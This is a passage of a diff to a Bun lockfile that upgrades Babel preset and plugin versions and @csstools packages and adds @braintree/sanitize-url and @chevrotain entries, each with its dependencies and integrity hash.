- "@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.23.6", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-create-class-features-plugin": "^7.23.6", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-typescript": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6cBG5mBvUu4VUD04OHKnYzbuHNP8huDsD3EDqqpIpsswTDoqHCjLoHb6+QgsV1WsT2nipRqCPgxD3LXnEO7XfA=="],
+ "@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-create-class-features-plugin": "^7.28.5", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA=="],
- "@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-s5EDrE6bW97LtxOcGj1Khcx5AaXwiMmi4toFWRDP9/y0Woo6pXC+iyPu/KuhKtfSrNFd7jJB+/fkOtZy6aIC6Q=="],
+ "@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg=="],
- "@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Jt2d8Ga+QwRluxRQ307Vlxa6dMrYEMZCgGxoPR8V52rxPyldHu3hdlHspxaqYmE7oID5+kB+UKUB/eWS+DkkWg=="],
+ "@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q=="],
- "@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-yoxstj7Rg9dlNn9UQxzk4fcNivwv4nUYz7fYXBaKxvw/lnmPuOm/ikoELygbYq68Bls3D/D+NBPHiLwZdZZ4HA=="],
+ "@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw=="],
- "@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-8BYqO3GeVNHtx69fdPshN3fnzUNLrWdHhk/icSwigksJGczKSizZ+Z6SBCxTs723Fr5VSNorTIK7a+R2tISvwQ=="],
+ "@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw=="],
- "@babel/preset-env": ["@babel/preset-env@7.26.9", "", { "dependencies": { "@babel/compat-data": "^7.26.8", "@babel/helper-compilation-targets": "^7.26.5", "@babel/helper-plugin-utils": "^7.26.5", "@babel/helper-validator-option": "^7.25.9", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.25.9", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.25.9", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.25.9", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.25.9", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.25.9", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.26.0", "@babel/plugin-syntax-import-attributes": "^7.26.0", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.25.9", "@babel/plugin-transform-async-generator-functions": "^7.26.8", "@babel/plugin-transform-async-to-generator": "^7.25.9", "@babel/plugin-transform-block-scoped-functions": "^7.26.5", "@babel/plugin-transform-block-scoping": "^7.25.9", "@babel/plugin-transform-class-properties": "^7.25.9", "@babel/plugin-transform-class-static-block": "^7.26.0", "@babel/plugin-transform-classes": "^7.25.9", "@babel/plugin-transform-computed-properties": "^7.25.9", "@babel/plugin-transform-destructuring": "^7.25.9", "@babel/plugin-transform-dotall-regex": "^7.25.9", "@babel/plugin-transform-duplicate-keys": "^7.25.9", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.25.9", "@babel/plugin-transform-dynamic-import": "^7.25.9", "@babel/plugin-transform-exponentiation-operator": "^7.26.3", "@babel/plugin-transform-export-namespace-from": "^7.25.9", "@babel/plugin-transform-for-of": "^7.26.9", "@babel/plugin-transform-function-name": "^7.25.9", "@babel/plugin-transform-json-strings": "^7.25.9", "@babel/plugin-transform-literals": "^7.25.9", "@babel/plugin-transform-logical-assignment-operators": "^7.25.9", "@babel/plugin-transform-member-expression-literals": "^7.25.9", "@babel/plugin-transform-modules-amd": "^7.25.9", "@babel/plugin-transform-modules-commonjs": "^7.26.3", "@babel/plugin-transform-modules-systemjs": "^7.25.9", "@babel/plugin-transform-modules-umd": "^7.25.9", "@babel/plugin-transform-named-capturing-groups-regex": "^7.25.9", "@babel/plugin-transform-new-target": "^7.25.9", "@babel/plugin-transform-nullish-coalescing-operator": "^7.26.6", "@babel/plugin-transform-numeric-separator": "^7.25.9", "@babel/plugin-transform-object-rest-spread": "^7.25.9", "@babel/plugin-transform-object-super": "^7.25.9", "@babel/plugin-transform-optional-catch-binding": "^7.25.9", "@babel/plugin-transform-optional-chaining": "^7.25.9", "@babel/plugin-transform-parameters": "^7.25.9", "@babel/plugin-transform-private-methods": "^7.25.9", "@babel/plugin-transform-private-property-in-object": "^7.25.9", "@babel/plugin-transform-property-literals": "^7.25.9", "@babel/plugin-transform-regenerator": "^7.25.9", "@babel/plugin-transform-regexp-modifiers": "^7.26.0", "@babel/plugin-transform-reserved-words": "^7.25.9", "@babel/plugin-transform-shorthand-properties": "^7.25.9", "@babel/plugin-transform-spread": "^7.25.9", "@babel/plugin-transform-sticky-regex": "^7.25.9", "@babel/plugin-transform-template-literals": "^7.26.8", "@babel/plugin-transform-typeof-symbol": "^7.26.7", "@babel/plugin-transform-unicode-escapes": "^7.25.9", "@babel/plugin-transform-unicode-property-regex": "^7.25.9", "@babel/plugin-transform-unicode-regex": "^7.25.9", "@babel/plugin-transform-unicode-sets-regex": "^7.25.9", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.10", "babel-plugin-polyfill-corejs3": "^0.11.0", "babel-plugin-polyfill-regenerator": "^0.6.1", "core-js-compat": "^3.40.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vX3qPGE8sEKEAZCWk05k3cpTAE3/nOYca++JA+Rd0z2NCNzabmYvEiSShKzm10zdquOIAVXsy2Ei/DTW34KlKQ=="],
+ "@babel/preset-env": ["@babel/preset-env@7.28.5", "", { "dependencies": { "@babel/compat-data": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.3", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.27.1", "@babel/plugin-syntax-import-attributes": "^7.27.1", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.27.1", "@babel/plugin-transform-async-generator-functions": "^7.28.0", "@babel/plugin-transform-async-to-generator": "^7.27.1", "@babel/plugin-transform-block-scoped-functions": "^7.27.1", "@babel/plugin-transform-block-scoping": "^7.28.5", "@babel/plugin-transform-class-properties": "^7.27.1", "@babel/plugin-transform-class-static-block": "^7.28.3", "@babel/plugin-transform-classes": "^7.28.4", "@babel/plugin-transform-computed-properties": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.5", "@babel/plugin-transform-dotall-regex": "^7.27.1", "@babel/plugin-transform-duplicate-keys": "^7.27.1", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-dynamic-import": "^7.27.1", "@babel/plugin-transform-explicit-resource-management": "^7.28.0", "@babel/plugin-transform-exponentiation-operator": "^7.28.5", "@babel/plugin-transform-export-namespace-from": "^7.27.1", "@babel/plugin-transform-for-of": "^7.27.1", "@babel/plugin-transform-function-name": "^7.27.1", "@babel/plugin-transform-json-strings": "^7.27.1", "@babel/plugin-transform-literals": "^7.27.1", "@babel/plugin-transform-logical-assignment-operators": "^7.28.5", "@babel/plugin-transform-member-expression-literals": "^7.27.1", "@babel/plugin-transform-modules-amd": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-modules-systemjs": "^7.28.5", "@babel/plugin-transform-modules-umd": "^7.27.1", "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-new-target": "^7.27.1", "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", "@babel/plugin-transform-numeric-separator": "^7.27.1", "@babel/plugin-transform-object-rest-spread": "^7.28.4", "@babel/plugin-transform-object-super": "^7.27.1", "@babel/plugin-transform-optional-catch-binding": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.28.5", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/plugin-transform-private-methods": "^7.27.1", "@babel/plugin-transform-private-property-in-object": "^7.27.1", "@babel/plugin-transform-property-literals": "^7.27.1", "@babel/plugin-transform-regenerator": "^7.28.4", "@babel/plugin-transform-regexp-modifiers": "^7.27.1", "@babel/plugin-transform-reserved-words": "^7.27.1", "@babel/plugin-transform-shorthand-properties": "^7.27.1", "@babel/plugin-transform-spread": "^7.27.1", "@babel/plugin-transform-sticky-regex": "^7.27.1", "@babel/plugin-transform-template-literals": "^7.27.1", "@babel/plugin-transform-typeof-symbol": "^7.27.1", "@babel/plugin-transform-unicode-escapes": "^7.27.1", "@babel/plugin-transform-unicode-property-regex": "^7.27.1", "@babel/plugin-transform-unicode-regex": "^7.27.1", "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.14", "babel-plugin-polyfill-corejs3": "^0.13.0", "babel-plugin-polyfill-regenerator": "^0.6.5", "core-js-compat": "^3.43.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-S36mOoi1Sb6Fz98fBfE+UZSpYw5mJm0NUHtIKrOuNcqeFauy1J6dIvXm2KRVKobOSaGq4t/hBXdN4HGU3wL9Wg=="],
"@babel/preset-modules": ["@babel/preset-modules@0.1.6-no-external-plugins", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.0.0", "@babel/types": "^7.4.4", "esutils": "^2.0.2" }, "peerDependencies": { "@babel/core": "^7.0.0-0 || ^8.0.0-0 <8.0.0" } }, "sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA=="],
- "@babel/preset-react": ["@babel/preset-react@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-validator-option": "^7.22.15", "@babel/plugin-transform-react-display-name": "^7.23.3", "@babel/plugin-transform-react-jsx": "^7.22.15", "@babel/plugin-transform-react-jsx-development": "^7.22.5", "@babel/plugin-transform-react-pure-annotations": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tbkHOS9axH6Ysf2OUEqoSZ6T3Fa2SrNH6WTWSPBboxKzdxNc9qOICeLXkNG0ZEwbQ1HY8liwOce4aN/Ceyuq6w=="],
+ "@babel/preset-react": ["@babel/preset-react@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-transform-react-display-name": "^7.28.0", "@babel/plugin-transform-react-jsx": "^7.27.1", "@babel/plugin-transform-react-jsx-development": "^7.27.1", "@babel/plugin-transform-react-pure-annotations": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ=="],
- "@babel/preset-typescript": ["@babel/preset-typescript@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-validator-option": "^7.22.15", "@babel/plugin-syntax-jsx": "^7.23.3", "@babel/plugin-transform-modules-commonjs": "^7.23.3", "@babel/plugin-transform-typescript": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-17oIGVlqz6CchO9RFYn5U6ZpWRZIngayYCtrPRSgANSwC2V1Jb+iP74nVxzzXJte8b8BYxrL1yY96xfhTBrNNQ=="],
+ "@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="],
"@babel/runtime": ["@babel/runtime@7.26.10", "", { "dependencies": { "regenerator-runtime": "^0.14.0" } }, "sha512-2WJMeRQPHKSPemqk/awGrAiuFfzBmOIPXKizAsVhWH9YJqLZ0H+HS4c8loHGgW6utJ3E/ejXQUsiGaQy2NZ9Fw=="],
@@ -899,8 +917,20 @@
"@bcoe/v8-coverage": ["@bcoe/v8-coverage@0.2.3", "", {}, "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw=="],
+ "@braintree/sanitize-url": ["@braintree/sanitize-url@7.1.2", "", {}, "sha512-jigsZK+sMF/cuiB7sERuo9V7N9jx+dhmHHnQyDSVdpZwVutaBu7WvNYqMDLSgFgfB30n452TP3vjDAvFC973mA=="],
+
"@cfworker/json-schema": ["@cfworker/json-schema@4.1.1", "", {}, "sha512-gAmrUZSGtKc3AiBL71iNWxDsyUC5uMaKKGdvzYsBoTW/xi42JQHl7eKV2OYzCUqvc+D2RCcf7EXY2iCyFIk6og=="],
+ "@chevrotain/cst-dts-gen": ["@chevrotain/cst-dts-gen@11.1.2", "", { "dependencies": { "@chevrotain/gast": "11.1.2", "@chevrotain/types": "11.1.2", "lodash-es": "4.17.23" } }, "sha512-XTsjvDVB5nDZBQB8o0o/0ozNelQtn2KrUVteIHSlPd2VAV2utEb6JzyCJaJ8tGxACR4RiBNWy5uYUHX2eji88Q=="],
+
+ "@chevrotain/gast": ["@chevrotain/gast@11.1.2", "", { "dependencies": { "@chevrotain/types": "11.1.2", "lodash-es": "4.17.23" } }, "sha512-Z9zfXR5jNZb1Hlsd/p+4XWeUFugrHirq36bKzPWDSIacV+GPSVXdk+ahVWZTwjhNwofAWg/sZg58fyucKSQx5g=="],
+
+ "@chevrotain/regexp-to-ast": ["@chevrotain/regexp-to-ast@11.1.2", "", {}, "sha512-nMU3Uj8naWer7xpZTYJdxbAs6RIv/dxYzkYU8GSwgUtcAAlzjcPfX1w+RKRcYG8POlzMeayOQ/znfwxEGo5ulw=="],
+
+ "@chevrotain/types": ["@chevrotain/types@11.1.2", "", {}, "sha512-U+HFai5+zmJCkK86QsaJtoITlboZHBqrVketcO2ROv865xfCMSFpELQoz1GkX5GzME8pTa+3kbKrZHQtI0gdbw=="],
+
+ "@chevrotain/utils": ["@chevrotain/utils@11.1.2", "", {}, "sha512-4mudFAQ6H+MqBTfqLmU7G1ZwRzCLfJEooL/fsF6rCX5eePMbGhoy5n4g+G4vlh2muDcsCTJtL+uKbOzWxs5LHA=="],
+
"@codemirror/autocomplete": ["@codemirror/autocomplete@6.18.0", "", { "dependencies": { "@codemirror/language": "^6.0.0", "@codemirror/state": "^6.0.0", "@codemirror/view": "^6.17.0", "@lezer/common": "^1.0.0" }, "peerDependencies": { "@codemirror/language": "^6.0.0", "@codemirror/state": "^6.0.0", "@codemirror/view": "^6.0.0", "@lezer/common": "^1.0.0" } }, "sha512-5DbOvBbY4qW5l57cjDsmmpDh3/TeK1vXfTHa+BUMrRzdWdcxKZ4U4V7vQaTtOpApNU4kLS4FQ6cINtLg245LXA=="],
"@codemirror/commands": ["@codemirror/commands@6.6.0", "", { "dependencies": { "@codemirror/language": "^6.0.0", "@codemirror/state": "^6.4.0", "@codemirror/view": "^6.27.0", "@lezer/common": "^1.1.0" } }, "sha512-qnY+b7j1UNcTS31Eenuc/5YJB6gQOzkUoNmJQc0rznwqSRpeaWWpjkWy2C/MPTcePpsKJEM26hXrOXl1+nceXg=="],
@@ -929,67 +959,109 @@
"@cspotcode/source-map-support": ["@cspotcode/source-map-support@0.8.1", "", { "dependencies": { "@jridgewell/trace-mapping": "0.3.9" } }, "sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw=="],
- "@csstools/cascade-layer-name-parser": ["@csstools/cascade-layer-name-parser@1.0.7", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-9J4aMRJ7A2WRjaRLvsMeWrL69FmEuijtiW1XlK/sG+V0UJiHVYUyvj9mY4WAXfU/hGIiGOgL8e0jJcRyaZTjDQ=="],
+ "@csstools/cascade-layer-name-parser": ["@csstools/cascade-layer-name-parser@3.0.0", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-/3iksyevwRfSJx5yH0RkcrcYXwuhMQx3Juqf40t97PeEy2/Mz2TItZ/z/216qpe4GgOyFBP8MKIwVvytzHmfIQ=="],
- "@csstools/color-helpers": ["@csstools/color-helpers@2.1.0", "", {}, "sha512-OWkqBa7PDzZuJ3Ha7T5bxdSVfSCfTq6K1mbAhbO1MD+GSULGjrp45i5RudyJOedstSarN/3mdwu9upJE7gDXfw=="],
+ "@csstools/color-helpers": ["@csstools/color-helpers@6.0.2", "", {}, "sha512-LMGQLS9EuADloEFkcTBR3BwV/CGHV7zyDxVRtVDTwdI2Ca4it0CCVTT9wCkxSgokjE5Ho41hEPgb8OEUwoXr6Q=="],
- "@csstools/css-calc": ["@csstools/css-calc@1.1.6", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-YHPAuFg5iA4qZGzMzvrQwzkvJpesXXyIUyaONflQrjtHB+BcFFbgltJkIkb31dMGO4SE9iZFA4HYpdk7+hnYew=="],
+ "@csstools/css-calc": ["@csstools/css-calc@3.1.1", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-HJ26Z/vmsZQqs/o3a6bgKslXGFAungXGbinULZO3eMsOyNJHeBBZfup5FiZInOghgoM4Hwnmw+OgbJCNg1wwUQ=="],
- "@csstools/css-color-parser": ["@csstools/css-color-parser@1.5.1", "", { "dependencies": { "@csstools/color-helpers": "^4.0.0", "@csstools/css-calc": "^1.1.6" }, "peerDependencies": { "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-x+SajGB2paGrTjPOUorGi8iCztF008YMKXTn+XzGVDBEIVJ/W1121pPerpneJYGOe1m6zWLPLnzOPaznmQxKFw=="],
+ "@csstools/css-color-parser": ["@csstools/css-color-parser@4.0.2", "", { "dependencies": { "@csstools/color-helpers": "^6.0.2", "@csstools/css-calc": "^3.1.1" }, "peerDependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-0GEfbBLmTFf0dJlpsNU7zwxRIH0/BGEMuXLTCvFYxuL1tNhqzTbtnFICyJLTNK4a+RechKP75e7w42ClXSnJQw=="],
- "@csstools/css-parser-algorithms": ["@csstools/css-parser-algorithms@2.5.0", "", { "peerDependencies": { "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-abypo6m9re3clXA00eu5syw+oaPHbJTPapu9C4pzNsJ4hdZDzushT50Zhu+iIYXgEe1CxnRMn7ngsbV+MLrlpQ=="],
+ "@csstools/css-parser-algorithms": ["@csstools/css-parser-algorithms@4.0.0", "", { "peerDependencies": { "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-+B87qS7fIG3L5h3qwJ/IFbjoVoOe/bpOdh9hAjXbvx0o8ImEmUsGXN0inFOnk2ChCFgqkkGFQ+TpM5rbhkKe4w=="],
- "@csstools/css-tokenizer": ["@csstools/css-tokenizer@2.2.3", "", {}, "sha512-pp//EvZ9dUmGuGtG1p+n17gTHEOqu9jO+FiCUjNN3BDmyhdA2Jq9QsVeR7K8/2QCK17HSsioPlTW9ZkzoWb3Lg=="],
+ "@csstools/css-tokenizer": ["@csstools/css-tokenizer@4.0.0", "", {}, "sha512-QxULHAm7cNu72w97JUNCBFODFaXpbDg+dP8b/oWFAZ2MTRppA3U00Y2L1HqaS4J6yBqxwa/Y3nMBaxVKbB/NsA=="],
- "@csstools/media-query-list-parser": ["@csstools/media-query-list-parser@2.1.7", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-lHPKJDkPUECsyAvD60joYfDmp8UERYxHGkFfyLJFTVK/ERJe0sVlIFLXU5XFxdjNDTerp5L4KeaKG+Z5S94qxQ=="],
+ "@csstools/media-query-list-parser": ["@csstools/media-query-list-parser@5.0.0", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-T9lXmZOfnam3eMERPsszjY5NK0jX8RmThmmm99FZ8b7z8yMaFZWKwLWGZuTwdO3ddRY5fy13GmmEYZXB4I98Eg=="],
- "@csstools/postcss-cascade-layers": ["@csstools/postcss-cascade-layers@3.0.1", "", { "dependencies": { "@csstools/selector-specificity": "^2.0.2", "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-dD8W98dOYNOH/yX4V4HXOhfCOnvVAg8TtsL+qCGNoKXuq5z2C/d026wGWgySgC8cajXXo/wNezS31Glj5GcqrA=="],
+ "@csstools/postcss-alpha-function": ["@csstools/postcss-alpha-function@2.0.3", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-8GqzD3JnfpKJSVxPIC0KadyAfB5VRzPZdv7XQ4zvK1q0ku+uHVUAS2N/IDavQkW40gkuUci64O0ea6QB/zgCSw=="],
- "@csstools/postcss-color-function": ["@csstools/postcss-color-function@2.2.3", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-b1ptNkr1UWP96EEHqKBWWaV5m/0hgYGctgA/RVZhONeP1L3T/8hwoqDm9bB23yVCfOgE9U93KI9j06+pEkJTvw=="],
+ "@csstools/postcss-cascade-layers": ["@csstools/postcss-cascade-layers@6.0.0", "", { "dependencies": { "@csstools/selector-specificity": "^6.0.0", "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-WhsECqmrEZQGqaPlBA7JkmF/CJ2/+wetL4fkL9sOPccKd32PQ1qToFM6gqSI5rkpmYqubvbxjEJhyMTHYK0vZQ=="],
- "@csstools/postcss-color-mix-function": ["@csstools/postcss-color-mix-function@1.0.3", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-QGXjGugTluqFZWzVf+S3wCiRiI0ukXlYqCi7OnpDotP/zaVTyl/aqZujLFzTOXy24BoWnu89frGMc79ohY5eog=="],
+ "@csstools/postcss-color-function": ["@csstools/postcss-color-function@5.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-CjBdFemUFcAh3087MEJhZcO+QT1b8S75agysa1rU9TEC1YecznzwV+jpMxUc0JRBEV4ET2PjLssqmndR9IygeA=="],
- "@csstools/postcss-font-format-keywords": ["@csstools/postcss-font-format-keywords@2.0.2", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-iKYZlIs6JsNT7NKyRjyIyezTCHLh4L4BBB3F5Nx7Dc4Z/QmBgX+YJFuUSar8IM6KclGiAUFGomXFdYxAwJydlA=="],
+ "@csstools/postcss-color-function-display-p3-linear": ["@csstools/postcss-color-function-display-p3-linear@2.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-TWUwSe1+2KdYGGWTx5LR4JQN07vKHAeSho+bGYRgow+9cs3dqgOqS1f/a1odiX30ESmZvwIudJ86wzeiDR6UGg=="],
- "@csstools/postcss-gradients-interpolation-method": ["@csstools/postcss-gradients-interpolation-method@3.0.6", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-rBOBTat/YMmB0G8VHwKqDEx+RZ4KCU9j42K8LwS0IpZnyThalZZF7BCSsZ6TFlZhcRZKlZy3LLFI2pLqjNVGGA=="],
+ "@csstools/postcss-color-mix-function": ["@csstools/postcss-color-mix-function@4.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-PFKQKswFqZrYKpajZsP4lhqjU/6+J5PTOWq1rKiFnniKsf4LgpGXrgHS/C6nn5Rc51LX0n4dWOWqY5ZN2i5IjA=="],
